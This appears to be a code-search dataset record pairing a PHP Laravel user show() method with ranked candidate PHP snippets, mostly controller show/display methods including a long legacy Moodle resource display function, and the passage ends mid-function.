[ { "docid": "ef5e766f378716c486dc5ccc03d9c646", "score": "0.0", "text": "public function show( User $user )\n\t\t{\n\t\t\t$user->load('projects');\n\t\t\t$this->data['title'] = $user->fullName();\n\t\t\t$this->data['current_user'] = $user;\n\t\t\t$this->data['projects'] = $user->projects;\n\n\t\t\treturn View::make( 'users.index', $this->data );\n\t\t}", "title": "" } ]
[ { "docid": "1b84960e1b92d293ded93b3711f4a5bb", "score": "0.8234836", "text": "public function show(Resource $resource)\n {\n // not available for now\n }", "title": "" }, { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.819168", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "ed2d107c1c9ce4912402cbef90125ac4", "score": "0.76126075", "text": "public function show(Resource $resource)\n\t{\n\t\treturn $resource;\n\t}", "title": "" }, { "docid": "364c14abc03f539e9a17828c2c3c5094", "score": "0.71429646", "text": "protected function makeDisplayFromResource()\n\t{\n\t\treturn $this->activeResource->makeDisplay();\n\t}", "title": "" }, { "docid": "05f03e4964305c5851a8417af8f32544", "score": "0.6685365", "text": "public function show($resource, $id)\n {\n return $this->repository->get($id);\n }", "title": "" }, { "docid": "e21cb6c5a585a50a5b1a659e50a3576d", "score": "0.64457804", "text": "function show()\n\t{\n\t\techo '<pre>';\n\t\tprint_r($this);\n\t\techo '</pre>';\n\n//\t\tforeach ($this->resources as $id => $resources)\n//\t\t{\n//\t\t\tforeach ($resources as $type => $resource)\n//\t\t\t{\n//\t\t\t\t$resource->show();\n//\t\t\t}\n//\t\t}\n\t}", "title": "" }, { "docid": "2e3da5773c9c5d59c21b1af4e1ac8cd8", "score": "0.62360924", "text": "public function show($id)\n {\n if(Module::hasAccess(\"Resources\", \"view\")) {\n \n $resource = Resource::find($id);\n if(isset($resource->id)) {\n $module = Module::get('Resources');\n $module->row = $resource;\n $group_lists = array();\n $user_lists = array();\n\n if(!$resource->is_public){\n $group_lists = DB::table('resource_groups')\n ->select('groups.id', 'groups.name')\n ->join('groups','groups.id','=','resource_groups.group_id')\n ->where('resource_groups.resource_id', $id)->whereNull('groups.deleted_at')->whereNull('resource_groups.deleted_at')->get();\n\n $user_lists = DB::table('resource_users')\n ->select('users.id', 'users.name')\n ->join('users','users.id','=','resource_users.user_id')\n ->where('resource_users.resource_id', $id)->whereNull('users.deleted_at')->whereNull('resource_users.deleted_at')->get();\n }\n \n return view('la.resources.show', [\n 'module' => $module,\n 'view_col' => $module->view_col,\n 'no_header' => true,\n 'no_padding' => \"no-padding\",\n 'user_lists' => $user_lists,\n 'group_lists' => $group_lists\n ])->with('resource', $resource);\n } else {\n return view('errors.404', [\n 'record_id' => $id,\n 'record_name' => ucfirst(\"resource\"),\n ]);\n }\n } else {\n return redirect(config('laraadmin.adminRoute') . \"/\");\n }\n }", "title": "" }, { "docid": "596a976868e24408f49b224b715ef1dd", "score": "0.62259686", "text": "function display() {\n global $CFG, $THEME, $USER;\n\n /// Set up generic stuff first, including checking for access\n parent::display();\n\n /// Set up some shorthand variables\n $cm = $this->cm;\n $course = $this->course;\n $resource = $this->resource;\n\n\n $this->set_parameters(); // set the parameters array\n\n ///////////////////////////////////////////////\n\n /// Possible display modes are:\n /// File displayed embedded in a normal page\n /// File displayed in a popup window\n /// File displayed embedded in a popup window\n /// File not displayed at all, but downloaded\n\n\n /// First, find out what sort of file we are dealing with.\n require_once($CFG->libdir.'/filelib.php');\n\n $querystring = '';\n $resourcetype = '';\n $embedded = false;\n $mimetype = mimeinfo(\"type\", $resource->reference);\n $pagetitle = strip_tags($course->shortname.': '.format_string($resource->name));\n\n $formatoptions = new object();\n $formatoptions->noclean = true;\n\n if ($resource->options != \"forcedownload\") { // TODO nicolasconnault 14-03-07: This option should be renamed \"embed\"\n if (in_array($mimetype, array('image/gif','image/jpeg','image/png'))) { // It's an image\n $resourcetype = \"image\";\n $embedded = true;\n\n } else if ($mimetype == \"audio/mp3\") { // It's an MP3 audio file\n $resourcetype = \"mp3\";\n $embedded = true;\n\n } else if ($mimetype == \"video/x-flv\") { // It's a Flash video file\n $resourcetype = \"flv\";\n $embedded = true;\n\n } else if (substr($mimetype, 0, 10) == \"video/x-ms\") { // It's a Media Player file\n $resourcetype = \"mediaplayer\";\n $embedded = true;\n\n } else if ($mimetype == \"video/quicktime\") { // It's a Quicktime file\n $resourcetype = \"quicktime\";\n $embedded = true;\n\n } else if ($mimetype == \"application/x-shockwave-flash\") { // It's a Flash file\n $resourcetype = \"flash\";\n $embedded = true;\n\n } else if ($mimetype == \"video/mpeg\") { // It's a Mpeg file\n $resourcetype = \"mpeg\";\n $embedded = true;\n\n } else if ($mimetype == \"text/html\") { // It's a web page\n $resourcetype = \"html\";\n\n } else if ($mimetype == \"application/zip\") { // It's a zip archive\n $resourcetype = \"zip\";\n $embedded = true;\n\n } else if ($mimetype == 'application/pdf' || $mimetype == 'application/x-pdf') {\n $resourcetype = \"pdf\";\n $embedded = true;\n } else if ($mimetype == \"audio/x-pn-realaudio\") { // It's a realmedia file\n $resourcetype = \"rm\";\n $embedded = true;\n } \n }\n\n $isteamspeak = (stripos($resource->reference, 'teamspeak://') === 0);\n\n /// Form the parse string\n $querys = array();\n if (!empty($resource->alltext)) {\n $parray = explode(',', $resource->alltext);\n foreach ($parray as $fieldstring) {\n list($moodleparam, $urlname) = explode('=', $fieldstring);\n $value = urlencode($this->parameters[$moodleparam]['value']);\n $querys[urlencode($urlname)] = $value;\n $querysbits[] = urlencode($urlname) . '=' . $value;\n }\n if ($isteamspeak) {\n $querystring = implode('?', $querysbits);\n } else {\n $querystring = implode('&amp;', $querysbits);\n }\n }\n\n\n /// Set up some variables\n\n $inpopup = optional_param('inpopup', 0, PARAM_BOOL);\n\n if (resource_is_url($resource->reference)) {\n $fullurl = $resource->reference;\n if (!empty($querystring)) {\n $urlpieces = parse_url($resource->reference);\n if (empty($urlpieces['query']) or $isteamspeak) {\n $fullurl .= '?'.$querystring;\n } else {\n $fullurl .= '&amp;'.$querystring;\n }\n }\n\n } else if ($CFG->resource_allowlocalfiles and (strpos($resource->reference, RESOURCE_LOCALPATH) === 0)) { // Localpath\n $localpath = get_user_preferences('resource_localpath', 'D:');\n $relativeurl = str_replace(RESOURCE_LOCALPATH, $localpath, $resource->reference);\n\n if ($querystring) {\n $relativeurl .= '?'.$querystring;\n }\n\n $relativeurl = str_replace('\\\\', '/', $relativeurl);\n $relativeurl = str_replace(' ', '%20', $relativeurl);\n $fullurl = 'file:///'.htmlentities($relativeurl);\n $localpath = true;\n\n } else { // Normal uploaded file\n $forcedownloadsep = '?';\n if ($resource->options == 'forcedownload') {\n $querys['forcedownload'] = '1';\n }\n $fullurl = get_file_url($course->id.'/'.$resource->reference, $querys);\n }\n\n /// Print a notice and redirect if we are trying to access a file on a local file system\n /// and the config setting has been disabled\n if (!$CFG->resource_allowlocalfiles and (strpos($resource->reference, RESOURCE_LOCALPATH) === 0)) {\n if ($inpopup) {\n print_header($pagetitle, $course->fullname);\n } else {\n $navigation = build_navigation($this->navlinks, $cm);\n print_header($pagetitle, $course->fullname, $navigation,\n \"\", \"\", true, update_module_button($cm->id, $course->id, $this->strresource), navmenu($course, $cm));\n }\n notify(get_string('notallowedlocalfileaccess', 'resource', ''));\n if ($inpopup) {\n close_window_button();\n }\n print_footer('none');\n die;\n }\n\n\n /// Check whether this is supposed to be a popup, but was called directly\n if ($resource->popup and !$inpopup) { /// Make a page and a pop-up window\n $navigation = build_navigation($this->navlinks, $cm);\n print_header($pagetitle, $course->fullname, $navigation,\n \"\", \"\", true, update_module_button($cm->id, $course->id, $this->strresource), navmenu($course, $cm));\n\n echo \"\\n<script type=\\\"text/javascript\\\">\";\n echo \"\\n<!--\\n\";\n echo \"openpopup('/mod/resource/view.php?inpopup=true&id={$cm->id}','resource{$resource->id}','{$resource->popup}');\\n\";\n echo \"\\n-->\\n\";\n echo '</script>';\n\n if (trim(strip_tags($resource->summary))) {\n print_simple_box(format_text($resource->summary, FORMAT_MOODLE, $formatoptions), \"center\");\n }\n\n $link = \"<a href=\\\"$CFG->wwwroot/mod/resource/view.php?inpopup=true&amp;id={$cm->id}\\\" \"\n . \"onclick=\\\"this.target='resource{$resource->id}'; return openpopup('/mod/resource/view.php?inpopup=true&amp;id={$cm->id}', \"\n . \"'resource{$resource->id}','{$resource->popup}');\\\">\".format_string($resource->name,true).\"</a>\";\n\n echo '<div class=\"popupnotice\">';\n print_string('popupresource', 'resource');\n echo '<br />';\n print_string('popupresourcelink', 'resource', $link);\n echo '</div>';\n print_footer($course);\n exit;\n }\n\n\n /// Now check whether we need to display a frameset\n\n $frameset = optional_param('frameset', '', PARAM_ALPHA);\n if (empty($frameset) and !$embedded and !$inpopup and ($resource->options == \"frame\" || $resource->options == \"objectframe\") and empty($USER->screenreader)) {\n /// display the resource into a object tag\n if ($resource->options == \"objectframe\") {\n /// Yahoo javascript libaries for updating embedded object size\n require_js(array('yui_utilities'));\n require_js(array('yui_container'));\n require_js(array('yui_dom-event'));\n require_js(array('yui_dom'));\n\n\n /// Moodle Header and navigation bar\n $navigation = build_navigation($this->navlinks, $cm);\n print_header($pagetitle, $course->fullname, $navigation, \"\", \"\", true, update_module_button($cm->id, $course->id, $this->strresource), navmenu($course, $cm, \"parent\"));\n $options = new object();\n $options->para = false;\n if (!empty($localpath)) { // Show some help\n echo '<div class=\"mdl-right helplink\">';\n link_to_popup_window ('/mod/resource/type/file/localpath.php', get_string('localfile', 'resource'), get_string('localfilehelp','resource'), 400, 500, get_string('localfilehelp', 'resource'));\n echo '</div>';\n }\n echo '</div></div>';\n\n /// embedded file into iframe if the resource is on another domain\n ///\n /// This case is not XHTML strict but there is no alternative\n /// The object tag alternative is XHTML strict, however IE6-7 displays a blank object on accross domain by default,\n /// so we decided to use iframe for accross domain MDL-10021\n if (!stristr($fullurl,$CFG->wwwroot)) {\n echo '<p><iframe id=\"embeddedhtml\" src =\"'.$fullurl.'\" width=\"100%\" height=\"600\"></iframe></p>';\n }\n else {\n /// embedded HTML file into an object tag\n echo '<p><object id=\"embeddedhtml\" data=\"' . $fullurl . '\" type=\"'.$mimetype.'\" width=\"800\" height=\"600\">\n alt : <a href=\"' . $fullurl . '\">' . $fullurl . '</a>\n </object></p>';\n }\n /// add some javascript in order to fit this object tag into the browser window\n echo '<script type=\"text/javascript\">\n //<![CDATA[\n function resizeEmbeddedHtml() {\n //calculate new embedded html height size\n ';\n if (!empty($resource->summary)) {\n echo' objectheight = YAHOO.util.Dom.getViewportHeight() - 230;\n ';\n }\n else {\n echo' objectheight = YAHOO.util.Dom.getViewportHeight() - 120;\n ';\n }\n echo ' //the object tag cannot be smaller than a human readable size\n if (objectheight < 200) {\n objectheight = 200;\n }\n //resize the embedded html object\n YAHOO.util.Dom.setStyle(\"embeddedhtml\", \"height\", objectheight+\"px\");\n YAHOO.util.Dom.setStyle(\"embeddedhtml\", \"width\", \"100%\");\n }\n resizeEmbeddedHtml();\n YAHOO.widget.Overlay.windowResizeEvent.subscribe(resizeEmbeddedHtml);\n //]]>\n </script>\n ';\n\n /// print the summary\n if (!empty($resource->summary)) {\n print_simple_box(format_text($resource->summary, FORMAT_MOODLE, $formatoptions, $course->id), \"center\");\n }\n echo \"</body></html>\";\n exit;\n }\n /// display the resource into a frame tag\n else {\n @header('Content-Type: text/html; charset=utf-8');\n echo \"<!DOCTYPE html PUBLIC \\\"-//W3C//DTD XHTML 1.0 Frameset//EN\\\" \\\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\\\">\\n\";\n echo \"<html dir=\\\"ltr\\\">\\n\";\n echo '<head>';\n echo '<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />';\n echo \"<title>\" . format_string($course->shortname) . \": \".strip_tags(format_string($resource->name,true)).\"</title></head>\\n\";\n echo \"<frameset rows=\\\"$CFG->resource_framesize,*\\\">\";\n echo \"<frame src=\\\"view.php?id={$cm->id}&amp;type={$resource->type}&amp;frameset=top\\\" title=\\\"\".get_string('modulename','resource').\"\\\"/>\";\n if (!empty($localpath)) { // Show it like this so we interpose some HTML\n echo \"<frame src=\\\"view.php?id={$cm->id}&amp;type={$resource->type}&amp;inpopup=true\\\" title=\\\"\".get_string('modulename','resource').\"\\\"/>\";\n } else {\n echo \"<frame src=\\\"$fullurl\\\" title=\\\"\".get_string('modulename','resource').\"\\\"/>\";\n }\n echo \"</frameset>\";\n echo \"</html>\";\n exit;\n }\n }\n\n\n /// We can only get here once per resource, so add an entry to the log\n\n add_to_log($course->id, \"resource\", \"view\", \"view.php?id={$cm->id}\", $resource->id, $cm->id);\n\n\n /// If we are in a frameset, just print the top of it\n\n if (!empty( $frameset ) and ($frameset == \"top\") ) {\n $navigation = build_navigation($this->navlinks, $cm);\n print_header($pagetitle, $course->fullname, $navigation,\n \"\", \"\", true, update_module_button($cm->id, $course->id, $this->strresource), navmenu($course, $cm, \"parent\"));\n\n $options = new object();\n $options->para = false;\n echo '<div class=\"summary\">'.format_text($resource->summary, FORMAT_HTML, $options).'</div>';\n if (!empty($localpath)) { // Show some help\n echo '<div class=\"mdl-right helplink\">';\n link_to_popup_window ('/mod/resource/type/file/localpath.php', get_string('localfile', 'resource'),\n get_string('localfilehelp','resource'), 400, 500, get_string('localfilehelp', 'resource'));\n echo '</div>';\n }\n print_footer('empty');\n exit;\n }\n\n\n /// Display the actual resource\n if ($embedded) { // Display resource embedded in page\n $strdirectlink = get_string(\"directlink\", \"resource\");\n\n if ($inpopup) {\n print_header($pagetitle);\n } else {\n $navigation = build_navigation($this->navlinks, $cm);\n print_header_simple($pagetitle, '', $navigation, \"\", \"\", true,\n update_module_button($cm->id, $course->id, $this->strresource), navmenu($course, $cm, \"self\"));\n\n }\n\n if ($resourcetype == \"image\") {\n echo '<div class=\"resourcecontent resourceimg\">';\n echo \"<img title=\\\"\".strip_tags(format_string($resource->name,true)).\"\\\" class=\\\"resourceimage\\\" src=\\\"$fullurl\\\" alt=\\\"\\\" />\";\n echo '</div>';\n\n } else if ($resourcetype == \"mp3\") {\n if (!empty($THEME->resource_mp3player_colors)) {\n $c = $THEME->resource_mp3player_colors; // You can set this up in your theme/xxx/config.php\n } else {\n $c = 'bgColour=000000&btnColour=ffffff&btnBorderColour=cccccc&iconColour=000000&'.\n 'iconOverColour=00cc00&trackColour=cccccc&handleColour=ffffff&loaderColour=ffffff&'.\n 'font=Arial&fontColour=FF33FF&buffer=10&waitForPlay=no&autoPlay=yes';\n }\n $c .= '&volText='.get_string('vol', 'resource').'&panText='.get_string('pan','resource');\n $c = htmlentities($c);\n $id = 'filter_mp3_'.time(); //we need something unique because it might be stored in text cache\n $cleanurl = addslashes_js($fullurl);\n\n\n // If we have Javascript, use UFO to embed the MP3 player, otherwise depend on plugins\n\n echo '<div class=\"resourcecontent resourcemp3\">';\n\n echo '<span class=\"mediaplugin mediaplugin_mp3\" id=\"'.$id.'\"></span>'.\n '<script type=\"text/javascript\">'.\"\\n\".\n '//<![CDATA['.\"\\n\".\n 'var FO = { movie:\"'.$CFG->wwwroot.'/lib/mp3player/mp3player.swf?src='.$cleanurl.'\",'.\"\\n\".\n 'width:\"600\", height:\"70\", majorversion:\"6\", build:\"40\", flashvars:\"'.$c.'\", quality: \"high\" };'.\"\\n\".\n 'UFO.create(FO, \"'.$id.'\");'.\"\\n\".\n '//]]>'.\"\\n\".\n '</script>'.\"\\n\";\n\n echo '<noscript>';\n\n echo \"<object type=\\\"audio/mpeg\\\" data=\\\"$fullurl\\\" width=\\\"600\\\" height=\\\"70\\\">\";\n echo \"<param name=\\\"src\\\" value=\\\"$fullurl\\\" />\";\n echo '<param name=\"quality\" value=\"high\" />';\n echo '<param name=\"autoplay\" value=\"true\" />';\n echo '<param name=\"autostart\" value=\"true\" />';\n echo '</object>';\n echo '<p><a href=\"' . $fullurl . '\">' . $fullurl . '</a></p>';\n\n echo '</noscript>';\n echo '</div>';\n\n } else if ($resourcetype == \"flv\") {\n $id = 'filter_flv_'.time(); //we need something unique because it might be stored in text cache\n $cleanurl = addslashes_js($fullurl);\n\n\n // If we have Javascript, use UFO to embed the FLV player, otherwise depend on plugins\n\n echo '<div class=\"resourcecontent resourceflv\">';\n\n echo '<span class=\"mediaplugin mediaplugin_flv\" id=\"'.$id.'\"></span>'.\n '<script type=\"text/javascript\">'.\"\\n\".\n '//<![CDATA['.\"\\n\".\n 'var FO = { movie:\"'.$CFG->wwwroot.'/filter/mediaplugin/flvplayer.swf?file='.$cleanurl.'\",'.\"\\n\".\n 'width:\"600\", height:\"400\", majorversion:\"6\", build:\"40\", allowscriptaccess:\"never\", quality: \"high\" };'.\"\\n\".\n 'UFO.create(FO, \"'.$id.'\");'.\"\\n\".\n '//]]>'.\"\\n\".\n '</script>'.\"\\n\";\n\n echo '<noscript>';\n\n echo \"<object type=\\\"video/x-flv\\\" data=\\\"$fullurl\\\" width=\\\"600\\\" height=\\\"400\\\">\";\n echo \"<param name=\\\"src\\\" value=\\\"$fullurl\\\" />\";\n echo '<param name=\"quality\" value=\"high\" />';\n echo '<param name=\"autoplay\" value=\"true\" />';\n echo '<param name=\"autostart\" value=\"true\" />';\n echo '</object>';\n echo '<p><a href=\"' . $fullurl . '\">' . $fullurl . '</a></p>';\n\n echo '</noscript>';\n echo '</div>';\n\n } else if ($resourcetype == \"mediaplayer\") {\n echo '<div class=\"resourcecontent resourcewmv\">';\n echo '<object type=\"video/x-ms-wmv\" data=\"' . $fullurl . '\">';\n echo '<param name=\"controller\" value=\"true\" />';\n echo '<param name=\"autostart\" value=\"true\" />';\n echo \"<param name=\\\"src\\\" value=\\\"$fullurl\\\" />\";\n echo '<param name=\"scale\" value=\"noScale\" />';\n echo \"<a href=\\\"$fullurl\\\">$fullurl</a>\";\n echo '</object>';\n echo '</div>';\n\n } else if ($resourcetype == \"mpeg\") {\n echo '<div class=\"resourcecontent resourcempeg\">';\n echo '<object classid=\"CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95\"\n codebase=\"http://activex.microsoft.com/activex/controls/mplayer/en/nsm p2inf.cab#Version=5,1,52,701\"\n type=\"application/x-oleobject\">';\n echo \"<param name=\\\"fileName\\\" value=\\\"$fullurl\\\" />\";\n echo '<param name=\"autoStart\" value=\"true\" />';\n echo '<param name=\"animationatStart\" value=\"true\" />';\n echo '<param name=\"transparentatStart\" value=\"true\" />';\n echo '<param name=\"showControls\" value=\"true\" />';\n echo '<param name=\"Volume\" value=\"-450\" />';\n echo '<!--[if !IE]>-->';\n echo '<object type=\"video/mpeg\" data=\"' . $fullurl . '\">';\n echo '<param name=\"controller\" value=\"true\" />';\n echo '<param name=\"autostart\" value=\"true\" />';\n echo \"<param name=\\\"src\\\" value=\\\"$fullurl\\\" />\";\n echo \"<a href=\\\"$fullurl\\\">$fullurl</a>\";\n echo '<!--<![endif]-->';\n echo '<a href=\"' . $fullurl . '\">' . $fullurl . '</a>';\n echo '<!--[if !IE]>-->';\n echo '</object>';\n echo '<!--<![endif]-->';\n echo '</object>';\n echo '</div>';\n } else if ($resourcetype == \"rm\") {\n\n echo '<div class=\"resourcecontent resourcerm\">'; \n echo '<object classid=\"clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA\" width=\"320\" height=\"240\">';\n echo '<param name=\"src\" value=\"' . $fullurl . '\" />';\n echo '<param name=\"controls\" value=\"All\" />';\n echo '<!--[if !IE]>-->';\n echo '<object type=\"audio/x-pn-realaudio-plugin\" data=\"' . $fullurl . '\" width=\"320\" height=\"240\">';\n echo '<param name=\"controls\" value=\"All\" />';\n echo '<a href=\"' . $fullurl . '\">' . $fullurl .'</a>';\n echo '</object>';\n echo '<!--<![endif]-->';\n echo '</object>';\n echo '</div>'; \n\n } else if ($resourcetype == \"quicktime\") {\n echo '<div class=\"resourcecontent resourceqt\">';\n\n echo '<object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\"';\n echo ' codebase=\"http://www.apple.com/qtactivex/qtplugin.cab\">';\n echo \"<param name=\\\"src\\\" value=\\\"$fullurl\\\" />\";\n echo '<param name=\"autoplay\" value=\"true\" />';\n echo '<param name=\"loop\" value=\"true\" />';\n echo '<param name=\"controller\" value=\"true\" />';\n echo '<param name=\"scale\" value=\"aspect\" />';\n\n echo '<!--[if !IE]>-->';\n echo \"<object type=\\\"video/quicktime\\\" data=\\\"$fullurl\\\">\";\n echo '<param name=\"controller\" value=\"true\" />';\n echo '<param name=\"autoplay\" value=\"true\" />';\n echo '<param name=\"loop\" value=\"true\" />';\n echo '<param name=\"scale\" value=\"aspect\" />';\n echo '<!--<![endif]-->';\n echo '<a href=\"' . $fullurl . '\">' . $fullurl . '</a>';\n echo '<!--[if !IE]>-->';\n echo '</object>';\n echo '<!--<![endif]-->';\n echo '</object>';\n echo '</div>';\n } else if ($resourcetype == \"flash\") {\n echo '<div class=\"resourcecontent resourceswf\">';\n echo '<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\">';\n echo \"<param name=\\\"movie\\\" value=\\\"$fullurl\\\" />\";\n echo '<param name=\"autoplay\" value=\"true\" />';\n echo '<param name=\"loop\" value=\"true\" />';\n echo '<param name=\"controller\" value=\"true\" />';\n echo '<param name=\"scale\" value=\"aspect\" />';\n echo '<param name=\"base\" value=\".\" />';\n echo '<!--[if !IE]>-->';\n echo \"<object type=\\\"application/x-shockwave-flash\\\" data=\\\"$fullurl\\\">\";\n echo '<param name=\"controller\" value=\"true\" />';\n echo '<param name=\"autoplay\" value=\"true\" />';\n echo '<param name=\"loop\" value=\"true\" />';\n echo '<param name=\"scale\" value=\"aspect\" />';\n echo '<param name=\"base\" value=\".\" />';\n echo '<!--<![endif]-->';\n echo '<a href=\"' . $fullurl . '\">' . $fullurl . '</a>';\n echo '<!--[if !IE]>-->';\n echo '</object>';\n echo '<!--<![endif]-->';\n echo '</object>';\n echo '</div>';\n\n } elseif ($resourcetype == 'zip') {\n echo '<div class=\"resourcepdf\">';\n echo get_string('clicktoopen', 'resource') . '<a href=\"' . $fullurl . '\">' . format_string($resource->name) . '</a>';\n echo '</div>';\n\n } elseif ($resourcetype == 'pdf') {\n echo '<div class=\"resourcepdf\">';\n echo '<object data=\"' . $fullurl . '\" type=\"application/pdf\">';\n echo '<param name=\"src\" value=\"' . $fullurl . '\" />';\n echo get_string('clicktoopen', 'resource') . '<a href=\"' . $fullurl . '\">' . format_string($resource->name) . '</a>';\n echo '</object>';\n echo '</div>';\n }\n\n if (trim($resource->summary)) {\n print_simple_box(format_text($resource->summary, FORMAT_MOODLE, $formatoptions, $course->id), \"center\");\n }\n\n if ($inpopup) {\n echo \"<div class=\\\"popupnotice\\\">(<a href=\\\"$fullurl\\\">$strdirectlink</a>)</div>\";\n echo \"</div>\"; // MDL-12098\n print_footer($course); // MDL-12098\n } else {\n print_spacer(20,20);\n print_footer($course);\n }\n\n } else { // Display the resource on it's own\n if (!empty($localpath)) { // Show a link to help work around browser security\n echo '<div class=\"mdl-right helplink\">';\n link_to_popup_window ('/mod/resource/type/file/localpath.php', get_string('localfile', 'resource'),\n get_string('localfilehelp','resource'), 400, 500, get_string('localfilehelp', 'resource'));\n echo '</div>';\n echo \"<div class=\\\"popupnotice\\\">(<a href=\\\"$fullurl\\\">$fullurl</a>)</div>\";\n }\n redirect($fullurl);\n }\n\n }", "title": "" }, { "docid": "14ed889b850393fe8b1f3290fc49740e", "score": "0.6189237", "text": "public function show(Dispenser $dispenser)\n {\n //\n }", "title": "" }, { "docid": "990c774538153829a382b969fb274ad6", "score": "0.6180439", "text": "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "title": "" }, { "docid": "0180fbb47af0be5e609b81a6e3465c37", "score": "0.61703014", "text": "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "title": "" }, { "docid": "428541aff5a20db0753edebab2c7fb73", "score": "0.6083926", "text": "public function get(Resource $resource);", "title": "" }, { "docid": "1a2ff798e7b52737e1e6ae5b0d854f6a", "score": "0.6051159", "text": "public function show($id)\n\t{\n\t\t// display *some* of the resource...\n\t\treturn Post::find($id);\n\t}", "title": "" }, { "docid": "8cb2cf294db063cb41e20820f36641f0", "score": "0.6039034", "text": "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "title": "" }, { "docid": "586d0347683cd6c5e16251dd1e1a0a98", "score": "0.60361814", "text": "public function show($id)\n {\n $data = Resource::findOrFail($id);\n return view('Resource/view', compact('data'));\n }", "title": "" }, { "docid": "da456d60e11065d629261fc79e691a95", "score": "0.6005558", "text": "public function displayAction()\n {\n $id = $this->params['_param_1'];\n $this->flash['message'] = \"Arriba loco, este es el mensaje del flash!\";\n return $this->render( $id );\n }", "title": "" }, { "docid": "7fdf71b227abd04e4de9889539cd1698", "score": "0.5991177", "text": "public function displayAction()\n {\n \n $this->view->headLink()->appendStylesheet($this->view->baseUrl().'/css/profile.css');\n \n // set filters and validators for GET input\n $filters = array(\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\n );\n $validators = array(\n 'id' => array('NotEmpty', 'Int')\n );\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams());\n\n\n if ($input->isValid()) {\n\n $user_info = new Tripjacks_Model_Venue;\n\n $result = $user_info->getVenue($input->id);\n\n if (count($result) == 1) {\n $this->view->user_info = $result[0];\n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404);\n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input');\n }\n }", "title": "" }, { "docid": "6791390f58188104a1f11120602bda6c", "score": "0.5972416", "text": "public function show($id)\n {\n // Get the resource using the parent API\n $object = $this->api()->retrieve($id);\n\n // Render show view\n $data = [Str::camel($this->package) => $object];\n return $this->content('show', $data);\n }", "title": "" }, { "docid": "dbf7cb71fa21dced48bad29b90c7f51e", "score": "0.5960018", "text": "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5956016", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.5903327", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.5903327", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d2bd10ab674d0671bf2851850995cea8", "score": "0.5891818", "text": "public function show(Resena $resena)\n {\n }", "title": "" }, { "docid": "d752fd3972b546ef194ae14ab221ca30", "score": "0.58699834", "text": "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "title": "" }, { "docid": "f02f37fffab992508c7d7d6f7ae94f94", "score": "0.58678883", "text": "public function showAction() {\n\n // validate contact id is int\n $id = $this->route_params[\"id\"];\n // if id is invalid redirect to 404 page\n if (filter_var($id, FILTER_VALIDATE_INT) === false) {\n $this->show404();\n return;\n }\n\n $contact_obj = new Contact();\n $contact = $contact_obj->findById($id);\n // if no contact returned then display error message\n if ($contact == false) {\n //set error message\n $_SESSION[\"error_message\"] = \"Contact not found or deleted\";\n // redirect to show all contacts if contacts not found\n header(\"Location: /contacts\");\n return;\n }\n // render the view if all everything is Ok\n View::renderTemplate(\"contacts/show.twig.php\", [\"contact\" => $contact]);\n }", "title": "" }, { "docid": "4aec6f94d5731faefe27bdf32f7cbd44", "score": "0.5851132", "text": "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "title": "" }, { "docid": "2771b374a21e331a50c3ffd5b3e431ca", "score": "0.581101", "text": "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "title": "" }, { "docid": "305f64db85d64f68019d2fadcd0a85d2", "score": "0.58011544", "text": "public function show()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "5b7cde41d4a1270d31720878d4a50b19", "score": "0.5792891", "text": "public function show($id)\n\t{\n\t\treturn $this->success($this->resource->getById($id));\n\t}", "title": "" }, { "docid": "41e5ee3783ca0e67337c6b41b7d0ca62", "score": "0.57922184", "text": "public function display()\n {\n echo $this->fetch();\n }", "title": "" }, { "docid": "fd37d1765d15b4bc18c928879eeab887", "score": "0.5789819", "text": "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) 